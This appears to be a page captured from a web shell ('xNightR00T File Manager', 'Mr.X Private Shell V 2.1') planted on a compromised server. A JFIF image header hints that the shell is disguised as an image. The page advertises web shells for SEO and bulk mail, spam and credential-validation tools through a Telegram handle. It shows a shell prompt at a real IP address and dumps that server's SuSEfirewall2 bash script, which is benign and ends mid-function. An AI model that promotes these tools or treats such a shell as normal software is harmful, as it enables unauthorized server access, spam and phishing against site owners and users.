xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
#!/bin/bash
#
# SuSEfirewall2 - stateful packetfilter rules generator
# Copyright (C) 2000-2002 Marc Heuse <marc@suse.de>
# Copyright (C) 2003,2004 SUSE Linux AG
# Copyright (C) 2005-2011 SUSE LINUX Products GmbH
#
# Author:     Marc Heuse
# Maintainer: Ludwig Nussel
# 
# Please send feedback via http://www.suse.de/feedback
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# version 2 as published by the Free Software Foundation.
# 
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
# 
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA

#
# For all those fellow experts out there: yes I know that this is NOT a 
# firewall setup but a simple (no, not simple, it tries actually to be
# clever) packet filter. But if we would call this "SuSEpacketfilter",
# only a few user would install it, hence general security would be bad.
#
###########################################################################
#                                                                         #
# The configuration file for this firewall script is                      #
# /etc/sysconfig/SuSEfirewall2                                            #
#                                                                         #
# Please make only modifications to this script if you know what you      #
# are doing! A small explanation of the setup can be found in             #
# /usr/share/doc/packages/SuSEfirewall2/README                            #
#                                                                         #
# For new-user help concerning configuring this firewall, take a look at  #
# the configuration file /etc/sysconfig/SuSEfirewall2 - it tells          #
# you all                                                                 #
# (if not: sorry, but configuring a packet filter/screening router is NOT #
# trivial - you must know what you are doing and what it actually does!)  #
#                                                                         #
###########################################################################

help() {
cat <<EOF
SuSEfirewall2 3.6, Copyright (C) 2005  SUSE LINUX Products GmbH

stateful packet filter rules generator for iptables.

$0 start|test|debug [file FILENAME]
$0 basic|stop|close|status|help
$0 open ZONE TYPE services...
$0 on|off
$0 [-s <service>] update-rpc

Options:
  start	      generate and load the firewall filter rules from
              /etc/sysconfig/SuSEfirewall2
  stop        unload all filter rules
  close       no incoming network traffic except bootp+ping (for boot security)
  basic       set basic filter rules that drop all incoming access
  test        generate and load the filter rules but do not drop any packet but log
              to syslog anything which *would* be denied
  status      print the output of "iptables -nvL"
  debug       print the iptables command to stdout instead of executing them
  log         show SuSEfirewall2 related syslog messages in a better readable format
  help        this output
  open        open the specified services in the specified zone. You need to
              restart SuSEfirewall2 for changes to take effect.
  on          add SuSEfirewall2 initscripts to boot process and start
  off         remove SuSEfirwall2 initscripts from boot process and stop
  update-rpc  update rules for dynamic RPC services
              if -s/--service is specified then only rules for the given
              service will be updated, otherwise for all configured RPC
              services

  file FILENAME  same as "start" but load alternate config file FILENAME

Calling $0 without any option is the same as the "start" option.
The "file FILENAME" option may be used with the start, test and debug options.
EOF
    exit 0
}

removefiles=()
declare -a  removefiles
removeonexit()
{
    removefiles[${#removefiles[@]}]="$1"
}

cleanup()
{
    local file
    for file in "${removefiles[@]}"; do
	    rm -f "$file"
    done
}
trap cleanup EXIT

quiet=''
syslog()
{
    local pri="-p auth.err"
    local dashs='-s'
    if [ "$1" = '0' ]; then
	pri="-p auth.info"
	if [ -n "$quiet" ]; then
	    dashs=''
	fi
    elif [ "$1" = '-1' ]; then
	pri="-p auth.warn"
    fi
    shift
    /bin/logger $dashs $pri --id=$$ -t SuSEfirewall2 "$*"
}

message()
{
    syslog 0 "$*"
}

warning()
{
    syslog -1 "Warning:" "$*"
}

dbgmessage()
{
    [ "$MODE" != "debug" ] && return

    message $*
}

tracemessage()
{
    $TRACE || return

    message ${FUNCNAME[1]} $*
}

deprecated()
{
    warning "$@ is deprecated and will likely be removed in the future."
    warning "If you think it should be kept please report your use case at"
    warning "https://features.opensuse.org/"
}

error()
{
    syslog -2 "Error:" "$*"
}

die()
{
    local ret=1
    trap EXIT
    cleanup
    case "$1" in
	[0-9]) ret="$1"; shift ;;
    esac
    [ -n "$*" ] && syslog "$ret" "$*"
    exit $ret
}

need()
{
   source_safe "$SCRIPTSDIR/SuSEfirewall2-$1"
}

set_defaults()
{
    local dir file line var val
    for dir in "${DEFAULTSDIR[@]}"; do
	for file in "$dir"/*.cfg; do
	    test -r "$file" || continue
	    # we can't just source it as this would override config settings
	    while read line; do
		[ "$line" = "${line#\#}" ] || continue
		var="${line%%=*}"
		[ "$var" = ${var//[^A-Za-z0-9]/_} ] || continue
		eval val=\"\$$var\"
		if [ -z "$val" ]; then
		    eval "$line"
		fi
	    done < "$file"
	done
    done
}

# sources the given file, but only if it has safe permissions and ownership
function source_safe()
{
	local file="$1"
	bits=`/usr/bin/stat -c %A "$file"`
	if [ $? -ne 0 ]; then
		echo "Cannot stat file $file to be sourced" 1>&2
		return 1
	fi
	owner=`/usr/bin/stat -c %u "$file"`
	group=`/usr/bin/stat -c %g "$file"`

	world_write_bit=${bits:8:1}

	if [ ${world_write_bit} != "-" -o "$owner" -ne 0 -o "$group" -ne 0 ]; then
		echo "Unsafe permissions for file $file to be sourced" 1>&2
		return 1
	fi

	. "$file"
	res=$?
	if [ $res -ne 0 ]; then
		echo "failed to source $file: returned $res" 1>&2
		return 1
	fi

	return 0
}

function get_device_path()
{
	local iface="$1"
	/usr/bin/readlink "/sys/class/net/$iface"
}

function match_device_path()
{
    	local iface="$1"
	local match="$2"

	link=`get_device_path $iface`
	if [[ "$link" == *"$match"* ]]; then
	    return 0
	fi

	return 1
}

# gets a network device name as input and returns zero if it is a virtual
# device like tap/tun/bond or a physical device, non-zero otherwise
function is_virtual_device()
{
    	local iface="$1"
	match_device_path $iface "virtual"
	return $?
}

# like is_virtual_device() but checks whether the device is a removable,
# hot-plugged device
function is_hotplugged_device()
{
    	local iface="$1"
	# difficult to generically determine whether a network device is
	# removable, go for USB ...
	match_device_path $iface "usb"
	return $?
}

# takes a network device name as input and returns zero if we should ignore an
# active bootlock for changes on this device, otherwise non-zero
function allow_bootlock_ignore()
{
    	local iface="$1"

	# skip the loopback by default
	if [[ "$iface" = "lo" ]]; then
	    return 1
	fi

	# respect virtual or hotplugged evices
	if is_virtual_device "$iface" || is_hotplugged_device "$iface"; then
	    return 0
	fi

	# anything else has to wait until boot finish
	return 1
}

CONFIGURATIONSDIR_0="/etc/sysconfig/SuSEfirewall2.d/services"
CONFIGURATIONSDIR_1="/usr/share/SuSEfirewall2/services"
DEFAULTSDIR=("/etc/sysconfig/SuSEfirewall2.d/defaults" "/usr/share/SuSEfirewall2/defaults")
SCRIPTSDIR="/etc/sysconfig/scripts"
FWCONFIG="/etc/sysconfig/SuSEfirewall2"
LOCKFILE="/run/SuSEfirewall2.pid"
BOOTLOCKFILE="/run/SuSEfirewall2.booting"
STATUSDIR="/var/run/SuSEfirewall2"
FW_CUSTOMRULES=""

FW_ZONE_DEFAULT=""
USE_IPTABLES_BATCH=''

# whether ip6tables supports state matching
IP6TABLES_HAVE_STATE=1

# whether ip6tables support REJECT
IP6TABLES_HAVE_REJECT=1

ACTION="start"
MODE="standard"
TRACE=false
INITSCRIPTS="" # on|off
needconfig=
needlock=1
create_bootlock=0
remove_bootlock=0

# prevent double log entries when called from ip-up
if test -x /usr/bin/tty && ! /usr/bin/tty -s; then
    quiet=1
fi

getopttmp=`/usr/bin/getopt -o hqi:s: --long help,scriptsdir:,batch,nobatch,file:,debug,trace,test,bootlock,bootunlock,quiet,interface:,service: \
     -n 'SuSEfirewall2' -- "$@"`

[ $? != 0 ] && die 1 "getopt error"

eval set -- "$getopttmp"

while true ; do
        case "$1" in
		--file) FWCONFIG="$2"; shift 2 ;;
		--batch) USE_IPTABLES_BATCH='yes'; shift ;;
		--nobatch) USE_IPTABLES_BATCH='no'; shift ;;
                --scriptsdir) SCRIPTSDIR="$2" ; shift 2 ;;
                --test) MODE="test" ; shift ;;
                --debug) MODE="debug"; needlock=0 ; shift ;;
                --trace) TRACE=true ; shift ;;
                --bootlock) create_bootlock=1 ; shift ;;
                --bootunlock) remove_bootlock=1 ; shift ;;
                -h|--help) help ; shift ;;
                -q|--quiet) quiet=1 ; shift ;;
		# only used by if-{up,down} scripts to indicate the interface
		# that changed
		-i|--interface) up_down_iface="$2"; shift 2 ;;
		# only used for update-rpc action
		-s|--service) rpc_service="$2"; shift 2 ;;
                --) shift ; break ;;
                *) die 1 "getopt error"; ;;
        esac
done

case "$1" in
    start|"") needconfig=1 ;;
    test) MODE="test" ;;
    debug) MODE="debug"; needlock=0 ;;
    easy|novice|basic) ACTION="basic" ;;
    stop|halt|down|shutdown) ACTION="stop"; needconfig=1 ;;
    close) ACTION="close" ;;
    status) ACTION="status"; USE_IPTABLES_BATCH='no'; needlock=0 ;;
    open) ACTION="open"; USE_IPTABLES_BATCH='no'; needlock=0 ;;
    log) ACTION="showlog"; USE_IPTABLES_BATCH='no' ;;
    bootlock) ACTION="bootlock"; create_bootlock=1; needlock=0 ;;
    bootunlock) ACTION="bootunlock"; remove_bootlock=1; needlock=0 ;;
    help) help ;;
    off) ACTION="stop"; needconfig=1; INITSCRIPTS="off" ;;
    on) ACTION="start"; needconfig=1; INITSCRIPTS="on" ;;
    boot_init) ACTION="init"; create_bootlock=1 ;;
    boot_setup) ACTION="start"; remove_bootlock=1 ;;
    systemd_stop) ACTION="$1"; needconfig=1 ;;
    update-rpc) ACTION="$1"; needconfig=1 ;;
    *) help ;;
esac
shift

if [ "$ACTION" = "systemd_stop" ]; then
	# XXX: find a better way to check whether shutdown is in progress
	if systemctl --no-pager --full --all  list-units | grep -q 'basic\.target.*active.*stop'; then
		die 0 "Not unloading firewall rules at system shutdown"
	else
		ACTION="stop"
	fi
fi


case "$ACTION" in
    start|stop)
	while [ $# -gt 0 ]; do
	    case "$1" in
		file) FWCONFIG="$2"; shift 2 ;;
		force|batch) shift ;;  # unused, for compatability
		*) echo "invalid option: $1"; exit 1 ;;
	    esac
	done
	;;
esac

test -e /etc/sysconfig/network/config && source_safe /etc/sysconfig/network/config

source_safe $FWCONFIG
if [ $? -ne 0 -a -n "$needconfig" ]; then
    die 6 " Can not read $FWCONFIG"
fi

if [ "$ACTION" = "init" ]; then
    if [ "$FW_BOOT_FULL_INIT" = 'yes' ]; then
	ACTION='start'
    else
	ACTION='close'
    fi
fi

set_defaults

if [ -z "$USE_IPTABLES_BATCH" ]; then
    case "$FW_USE_IPTABLES_BATCH" in
	no) USE_IPTABLES_BATCH='' ;;
	yes) USE_IPTABLES_BATCH='yes' ;;
	''|auto) USE_IPTABLES_BATCH='auto' ;;
    esac
fi

if [ "$FW_ZONE_DEFAULT" = 'yes' -o "$FW_ZONE_DEFAULT" = 'auto' ]; then
    FW_ZONE_DEFAULT=''
fi

if [ -n "$USE_IPTABLES_BATCH" -a "$USE_IPTABLES_BATCH" != 'no' ]; then
    need batch
    check_iptables_batch
fi

[ "$USE_IPTABLES_BATCH" = 'no' ] && USE_IPTABLES_BATCH=''

### Definitions - fixed
unset ${!LC_*} ${!RC_LC_*} LANGUAGE RC_LANG
export LANG=en_US

export PATH="/sbin:/bin:/usr/sbin:/usr/bin"

hwdesc2iface=/etc/sysconfig/network/scripts/hwdesc2iface
modinfo="/sbin/modinfo"
TC="/usr/sbin/tc"
IPTABLES_BIN="/usr/sbin/iptables"
IP6TABLES_BIN="/usr/sbin/ip6tables"
if [ "$MODE" = debug ]; then
    IPTABLES="iptables"
    iptables()
    {
	echo iptables "$@"
    }
    IP6TABLES="ip6tables"
    ip6tables()
    {
	echo ip6tables "$@"
    }
    TC="tc"
    tc()
    {
	echo tc "$@"
    }
    modprobe()
    {
	echo modprobe "$@"
    }
    syslog()
    {
	echo "# <$1> ${*:2}"
    }

    ### ipv6 checks
    case "$FW_IPv6" in
	    drop|reject) IP6TABLES_HAVE_STATE=0 ;;
	    no) IP6TABLES=":" ;;
	    *) FW_IPv6="" ;;
    esac
else
    IPTABLES="$IPTABLES_BIN"
    IP6TABLES="$IP6TABLES_BIN"

    ### ipv6 checks
    case "$FW_IPv6" in
	    drop|reject) IP6TABLES_HAVE_STATE=0 ;;
	    no) IP6TABLES=":" ;;
	    *) FW_IPv6="" ;;
    esac

    ####

    if [ -n "$USE_IPTABLES_BATCH" ]; then
	IPTABLES=iptables
	[ "$IP6TABLES" != ":" ] && IP6TABLES=ip6tables
    fi
fi

# list of the IPv4 and IPv6 tables commands to be used
IPTABLES_LIST="$IPTABLES $IP6TABLES"

### jump targets
ACCEPT="ACCEPT"
DROP="DROP"
REJECT="reject_func"
[ "$FW_REJECT" = yes ] && DROP="reject_func"

# fwmarks

mark_redir=1

# ipsec

ipsec_chain=""
IPSEC_INPUT_MATCH="-m policy --dir in --pol ipsec --proto esp"
IPSEC_OUTPUT_MATCH="-m policy --dir out --pol ipsec --proto esp"

### zones

all_zones="int ext dmz"
forward_zones=
input_zones=

#### constants

safe_icmp_replies="echo-reply destination-unreachable time-exceeded parameter-problem timestamp-reply address-mask-reply protocol-unreachable redirect"
safe_icmpv6_replies="echo-reply destination-unreachable packet-too-big time-exceeded parameter-problem"
stateless_icmpv6_types="router-solicitation router-advertisement neighbour-solicitation neighbour-advertisement redirect 130"

###############

check_ip6tables_support()
{
    [ "$IP6TABLES" != ':' ] || return

    # Do we have a kernel with IPv6 enabled?
    if $IP6TABLES_BIN -nvL >/dev/null 2>&1; then
	if ! $IP6TABLES_BIN -m conntrack --help >/dev/null; then
	    warning "ip6tables does not support state matching. Extended IPv6 support disabled."
	    IP6TABLES_HAVE_STATE=0
	    # reject incoming packets if not specified otherwise
	    [ "$FW_IPv6" != 'no' -a "$FW_IPv6" != 'drop' ] && FW_IPv6='reject'
	fi
    else
	IP6TABLES=:
    fi

# assume kernel just supports this nowadays
#    $modinfo ip6t_REJECT >/dev/null 2>&1 || IP6TABLES_HAVE_REJECT=0

#    if [ \( "$FW_REJECT" = "yes" -o "$FW_IPv6" = "reject" \) \
#	    -a "$IP6TABLES_HAVE_REJECT" != 1 ]; then
#	    warning "Kernel lacks support for IPv6 REJECT target! Using DROP for IPv6 instead."
#    fi
}

is_running()
{
	test -e /proc/net/ip_tables_names && $IPTABLES_BIN -nL reject_func >/dev/null 2>&1
}

parse_logging()
{
    if [ -z "$FW_LOG_LIMIT" ]; then
	FW_LOG_LIMIT="-m limit --limit 3/minute"
    elif [ "$FW_LOG_LIMIT" = 'no' ]; then
	FW_LOG_LIMIT=''
    else
	FW_LOG_LIMIT="-m limit --limit $FW_LOG_LIMIT"
    fi

    ### logging setup
    if [ -z "$FW_LOG" ]; then
	LOG='--log-level warning --log-tcp-options --log-ip-options --log-prefix SFW2'
    else
	LOG="$FW_LOG"
    fi

    case "$LOG" in
	-j\ *) ;;
	*) LOG="-j LOG $LOG" ;;
    esac

    LDC=''  # log drop critical
    LDA=''  # log drop all
    LDAC='' # log drop all or critical
    LAC=''  # log accept critical
    LAA=''  # log accept all
    LAAC='' # log accept all or critical

    # 'critical' will be unset if 'all' is set since 'critical' might be a special case of 'all'.
    if [ "$FW_LOG_DROP_ALL" != yes ]; then
	LDA=":"
	if [ "$FW_LOG_DROP_CRIT" = no ]; then
	    LDC=":"
	    LDAC=":"
	fi
    else
	LDC=':'
    fi

    if [ "$FW_LOG_ACCEPT_ALL" != yes ]; then
	LAA=":"
	if [ "$FW_LOG_ACCEPT_CRIT" != yes ]; then
	    LAC=":"
	    LAAC=":"
	fi
    else 
	LAC=':'
    fi

    [ "$LAA" = ':' ] && LOG="$FW_LOG_LIMIT $LOG"
}

### Functions

# checks multiple sysctl.d config locations for configure values
function is_in_any_sysctl()
{
	local value="$1"

	if [ -z "$FW_SYSCTL_PATHS" ]; then
		# don't check all available sysctl.d directories for the
		# reason discussed in bnc#1044523
		FW_SYSCTL_PATHS="/etc/sysctl.conf /etc/sysctl.d /usr/local/lib/sysctl.d"
	fi

	local path
	for path in $FW_SYSCTL_PATHS; do
		dbgmessage "Checking for sysctl value $value in path $path"

		if [ -d "$path" ]; then
			# expand to any config files found in the sysctl.d
			# style directory
			paths=$path/*.conf
			dbgmessage "Expanded $path to $paths"
		else
			paths=$path
		fi

		for file in $paths; do
			# check for existence, because the wildcard match
			# above might yield no matches, which would result in
			# error messages otherwise
			if [ -r "$file" ]; then
				dbgmessage "Checking in file $file"
				is_in_sysctl "$value" "$file" && sysctl_file="$file" && return 0
				dbgmessage "no match"
			fi
		done

	done

	sysctl_file=""
	return 1
}

# returns whether the given sysctl setting passed as $1 is found in the sysctl
# style configuration file $2.
# return code of 0 if a value was found, 1 if none was found
function is_in_sysctl()
{
	local path="$1"
	local sysctl="$2"

	# translate the proc path to a sysctl path
	syspath=`echo "$path" | /usr/bin/cut -d '/' -f 4- | /usr/bin/tr '/' '.'`
	grep -q "^[^#]*$syspath" $sysctl && return 0

	# special case for the all / interface specific value in ipv4/conf/*
	# if we're about to change an interface specific value also check if
	# the global value is configured in sysctl in which case we shouldn't
	# touch the interface specific one, too
	syspath_all="`echo $syspath | /usr/bin/sed 's/ipv4\.conf\.[^\.]\+/ipv4\.conf\.all/'`"

	if [ "$syspath" != "$syspath_all" ]; then
	    grep -q "^[^#]*$syspath_all" $sysctl && return 0
	fi

	return 1
}

# change value of a file in /proc/sys
# $1: value to set the proc file to
# $2: path of the file in proc
function setproc()
{
    local value="$1"
    local path="$2"

    [ -z "$path" -o ! -w "$path" ] && return

    is_in_any_sysctl $path && message "$path override in $sysctl_file, not setting it" && return

    if [ "$MODE" != "debug" ]; then
	echo "$value" > "$path"
    else
	echo "echo \"$value\" > \"$path\""
    fi
}

# returns the correct iptables binary for the given IPv4/6 address
function get_iptables()
{
	local ip=$1

	case "$ip" in
		*:*) echo $IP6TABLES;;
		# assume IPv4 for anything else
		*) echo $IPTABLES ;;
	esac
}

# parameters: protocol port variable
# check whether $1 and $2/$3 are a valid protocol/port combination and sets global
# variables $proto, $port ($rport) and $sport ($rsport) in iptables syntax
# $4 is used for logging
# returns 1 on error, the content of $proto and $port is undefined then
check_proto_port()
{
    proto="$1"
    port="$2"
    sport="$3"
    local var="$4"
    case "$proto" in
	'')
	    if [ -z "$proto" -a -z "$port" -a -z "$sport" ]; then
		proto=''
		port=''
		rport=''
		sport=''
		rsport=''
	    else
		error "proto must not be empty in ${var}"
		return 1
	    fi
	    ;;
	_rpc_) # cannot check ports here
	    ;;
	tcp|udp)
	    if [ -n "$port" ]; then
		rport="--sport $port"
		port="--dport $port"
	    else
		port=''
		rport=''
	    fi
	    if [ -n "$sport" ]; then
		rsport="--dport $sport"
		sport="--sport $sport"
	    else
		sport=''
		rsport=''
	    fi

	    ;;
	icmp)
	    if [ -n "$port" ]; then
		port="--icmp-type $port"
		rport="$port"
	    else
		port=''
		rport=''
	    fi
	    if [ -n "$sport" ]; then
		sport="--icmp-type $sport"
		rsport="$sport"
	    else
		sport=''
		rsport=''
	    fi
	    ;;
	icmpv6)
	    if [ -n "$port" ]; then
		port="--icmpv6-type $port"
		rport="$port"
	    else
		port=''
		rport=''
	    fi
	    if [ -n "$sport" ]; then
		sport="--icmpv6-type $sport"
		rsport="$sport"
	    else
		sport=''
		rsport=''
	    fi
	    ;;
	*)
	    if [ -n "$port" ]; then
		error "port is only valid with tcp, udp or icmp in ${var}"
		return 1
	    fi
	;;
    esac
    [ -z "$proto" ] || proto="-p $proto"
    return 0
}

reset_rules() {
    local policy_input policy_output policy_forward

    policy_input=${1:-ACCEPT}
    policy_output=${2:-ACCEPT}
    policy_forward=${3:-ACCEPT}

    $IPTABLES -P INPUT $policy_input
    $IPTABLES -P OUTPUT $policy_output
    $IPTABLES -P FORWARD $policy_forward
    # yes we need cat for /proc
    local names
    if [ -r /proc/net/ip_tables_names ]; then
	names=`sort < /proc/net/ip_tables_names`
    else
	names="filter nat raw"
    fi
    for i in $names; do
	$IPTABLES -t $i -F
	$IPTABLES -t $i -X
    done
    if [ "$IP6TABLES" != ":" ]; then
	$IP6TABLES -P INPUT $policy_input
	$IP6TABLES -P OUTPUT $policy_output
	$IP6TABLES -P FORWARD $policy_forward
	if [ -r /proc/net/ip6_tables_names ]; then
	    names=`sort < /proc/net/ip6_tables_names`
	else
	    names="filter nat raw"
	fi
	for i in $names; do
	    $IP6TABLES -t $i -F
	    $IP6TABLES -t $i -X
	done
    fi
}

clear_qdisc_settings() {
    local data
    local dev
    local bandwidth
    for data in $FW_HTB_TUNE_DEV; do
        IFS="," read dev bandwidth < <(echo "$data")
        $TC qdisc del dev $dev root 2> /dev/null
    done
}

function load_modules()
{
    local i
    for i in "$@"; do
	modprobe "$i"
    done
}

function rulelog()
{
    local chain="$1"
    if [ "$chain" != "${chain#input_}" ]; then
	chain="IN${chain#input_}"
    else
	chain="FWD${chain#forward_}"
    fi
    # cut off too long strings (bnc#644527)
    echo "${chain:0:11}"
}


function allow_basic_established()
{
    # needed for dhcp and dns replies
    local iptables
    for iptables in "$IPTABLES" "$IP6TABLES"; do
	    $LAA $iptables -A INPUT ${LOG}"-IN-ACC-EST " -m conntrack --ctstate ESTABLISHED
	    $iptables -A INPUT -j "$ACCEPT" -m conntrack --ctstate ESTABLISHED

	    # if two hosts have a tcp connection on fixed ports and
	    # one of the hosts crashes it will send a SYN to the
	    # peer if it comes back up. The peer sends back ACK as
	    # it thinks there is already a connection established.
	    # This ACK is INVALID and must be answered with RST
	    # otherwise long timeouts may occur (#46818).
#	    $LDA $iptables -A INPUT ${LOG}"-IN-REJECT-ACK " -m conntrack --ctstate INVALID -p tcp --tcp-flags SYN,RST,ACK ACK
#	    $iptables -A INPUT -j "$REJECT" -m conntrack --ctstate INVALID -p tcp --tcp-flags SYN,RST,ACK ACK
    done

    # need to accept icmp RELATED packets (bnc#382004)
    $LAA $IPTABLES -A INPUT ${LOG}"-IN-ACC-REL " -p icmp -m conntrack --ctstate RELATED
    $IPTABLES -A INPUT -j "$ACCEPT" -p icmp -m conntrack --ctstate RELATED
    $LAA $IP6TABLES -A INPUT ${LOG}"-IN-ACC-REL " -p icmpv6 -m conntrack --ctstate RELATED
    $IP6TABLES -A INPUT -j "$ACCEPT" -p icmpv6 -m conntrack --ctstate RELATED
}

have_bridgeinterfaces()
{
    local i
    for i in /sys/class/net/*/bridge; do
	[ -e "$i" ] && return 0
    done
    return 1
}

allow_bridgetraffic()
{
    local iptables
    case "$FW_FORWARD_ALLOW_BRIDGING" in
	yes) ;;
	no)
	    return
	    ;;
	auto|'')
	    have_bridgeinterfaces || return
	;;
    esac
    for iptables in "$IPTABLES" "$IP6TABLES"; do
	$iptables -A FORWARD -m physdev --physdev-is-bridged -j ACCEPT
    done
}

xen_forward_hack()
{
    local dev iptables

    if [ -n "$FW_FORWARD_ALWAYS_INOUT_DEV" ]; then
	warning "FW_FORWARD_ALWAYS_INOUT_DEV is deprecated and most likely not needed at all anymore"
    fi
    for iptables in "$IPTABLES" "$IP6TABLES"; do
	for dev in $FW_FORWARD_ALWAYS_INOUT_DEV; do
	    $iptables -A FORWARD -i $dev -o $dev -j ACCEPT
	done
    done
}

# some rules for easier "out of the box" functionality
function set_ootb_rules()
{
	# mdns for avahi & friends. When a user uses a dsl router to connect
	# to the internet, he only has one interface and no zones.
	for IPT in $IPTABLES_LIST; do
		$IPT -A INPUT -p udp --dport mdns -m pkttype --pkt-type multicast -j "ACCEPT"
	done
}

function set_basic_rules()
{
    local itype

    check_ip6tables_support

    load_modules ip_tables ip_conntrack $FW_LOAD_MODULES

    if [ "$IP6TABLES" != ':' ]; then
	load_modules ip6table_filter ip6table_mangle
    fi
    
    # determine policy
    local DROP_JUMP
    if [ "$DROP" = "ACCEPT" ]; then
	DROP_JUMP="ACCEPT"
    else
	DROP_JUMP="DROP"
    fi

    reset_rules "$DROP_JUMP" ACCEPT "$DROP_JUMP"

    # loopback is always allowed
    for iptables in "$IPTABLES" "$IP6TABLES"; do
	$iptables -A INPUT  -j "$ACCEPT" -i lo
	$iptables -A OUTPUT -j "$ACCEPT" -o lo
	if [ "$FW_LO_NOTRACK" = 'yes' ]; then
	    $iptables -t raw -A PREROUTING -j CT --notrack -i lo
	    $iptables -t raw -A OUTPUT -j CT --notrack -o lo
	fi
    done

    # Special REJECT function #
    
    $IPTABLES -N reject_func
    $IPTABLES -A reject_func -p tcp -j REJECT --reject-with tcp-reset
    $IPTABLES -A reject_func -p udp -j REJECT --reject-with icmp-port-unreachable
    $IPTABLES -A reject_func        -j REJECT --reject-with icmp-proto-unreachable

    $IP6TABLES -N reject_func
    if [ "$IP6TABLES_HAVE_REJECT" = 1 ]; then
	$IP6TABLES -A reject_func -p tcp -j REJECT --reject-with tcp-reset
	$IP6TABLES -A reject_func -p udp -j REJECT --reject-with port-unreach
	$IP6TABLES -A reject_func        -j REJECT --reject-with addr-unreach # know anything better?
    fi
    # sometimes the above lines do not work despite prior checks, so add drop
    # always to be on the safe side
    $IP6TABLES -A reject_func -j DROP

    allow_bridgetraffic
    xen_forward_hack

    # workaround for ip6tables without state matching
    if [ "$IP6TABLES_HAVE_STATE" != 1 ]; then
	for itype in $stateless_icmpv6_types $safe_icmpv6_replies; do
	    $LAA $IP6TABLES -A INPUT ${LOG}"-IN-ACC-ICMP " -p icmpv6 --icmpv6-type $itype
	    $IP6TABLES -A INPUT -j "$ACCEPT" -p icmpv6 --icmpv6-type $itype
	done
	if [ "$FW_ALLOW_PING_FW" != no ]; then
	    $LAA $IP6TABLES -A INPUT ${LOG}"-`rulelog $chain`-ACC-PING "  -p icmpv6 --icmpv6-type echo-request
	    $IP6TABLES -A INPUT -j "$ACCEPT" -p icmpv6 --icmpv6-type echo-request
	fi
	$LAA $IP6TABLES -A INPUT -p tcp --tcp-flags ACK ACK ${LOG}"-IN-ACC-TCP "
	$IP6TABLES -A INPUT -p tcp --tcp-flags ACK ACK -j "$ACCEPT"
	# Drop all until IPv6 is really supported
	$LDA $IP6TABLES -A INPUT ${LOG}"-IN-IPv6_PROHIB "
	if [ "$FW_IPv6" = "drop" -o "$IP6TABLES_HAVE_REJECT" != 1 ]; then
	    $IP6TABLES -A INPUT -j "$DROP"
	else
	    $IP6TABLES -A INPUT -j "$REJECT"
	fi
	$IP6TABLES -A OUTPUT -p icmpv6 -j "$ACCEPT"
	$IP6TABLES -A OUTPUT -p tcp -j "$ACCEPT"
	if [ "$IP6TABLES_HAVE_REJECT" != 1 -o "$FW_IPv6_REJECT_OUTGOING" = "no" ]; then
	    $IP6TABLES -A OUTPUT -j "$DROP"
	else
	    $IP6TABLES -A OUTPUT -j "$REJECT"
	fi
	IP6TABLES=":" # disable further rules
    fi

    allow_basic_established

    # Allow DHCPv6 by default. While the requests go out to multicast address, they
    # can come back from unicast hosts and we might not know them.
    $LAA $IP6TABLES -A INPUT -p udp --dport dhcpv6-client ${LOG}"-IN-DHCPv6 "
    $IP6TABLES -A INPUT -p udp --dport dhcpv6-client -j "$ACCEPT"

    if [ "$FW_CONFIGURED" != true ]; then
	# we might allow some more input in case no zones have been defined,
	# which is the default case for many desktop computers ...
	set_ootb_rules
    fi

    # make sure basic rules get committed even if there are errors later
    [ -n "$USE_IPTABLES_BATCH" ] && iptables_batch_commitpoint
}

handle_initscripts()
{
    local i
    case "$INITSCRIPTS" in
	on)
	    for i in SuSEfirewall2_init SuSEfirewall2; do
		/bin/systemctl enable $i.service
	    done
	    ;;
	off)
	    for i in SuSEfirewall2 SuSEfirewall2_init; do
		/bin/systemctl disable $i.service
	    done
	    ;;
    esac
}

setlock()
{
    if [ "$remove_bootlock" -ne 0 ]; then
	rm -f "$BOOTLOCKFILE"
    fi
    ### Locking mechanism
    if [ "$needlock" -ne 0 ]; then
	if [ -e "$BOOTLOCKFILE" ] ; then
	    # ignore the bootlock, which is only a performance shortcut, in
	    # case a virtual or hotplugged interface has just been configured
	    # (bsc#785299)
	    if [ -z "$up_down_iface" ] || ! allow_bootlock_ignore "$up_down_iface"; then
		die 0 "$BOOTLOCKFILE exists which means system boot in progress, exit."
	    fi
	fi
	if [ -e "$LOCKFILE" ]; then
	    read PID < $LOCKFILE
	    message "Another SuSEfirewall2 with PID $PID found, waiting ..."
	    i=0
	    while [ -e "$LOCKFILE" -a "$i" -lt 15 ]; do
		sleep 2
		i=$(( i + 1 ))
	    done
	    if [ -e "$LOCKFILE" ]; then
		message "Lockfile is still there, ignoring it ..."
		kill -TERM $PID
		sleep 2
		kill -KILL $PID
		rm -f "$LOCKFILE"
	    fi
	fi
	removeonexit "$LOCKFILE"
	set -o noclobber
	echo "$$" > $LOCKFILE || exit 1
	set +o noclobber
    fi
    if [ "$create_bootlock" -eq 1 ]; then
	touch "$BOOTLOCKFILE"
    fi
}

##
## function definitions for full featured mode
##

# Provide empty functions for transparent hook support for customised rules
fw_custom_after_chain_creation() { true; }
fw_custom_before_antispoofing() { true; }
fw_custom_after_antispoofing() { true; }
fw_custom_before_port_handling() { true; }
fw_custom_before_masq() { true; }
fw_custom_before_denyall() { true; }
fw_custom_after_finished() { true; }

evaluateinterfaces()
{
    local devs=""
    local var dev
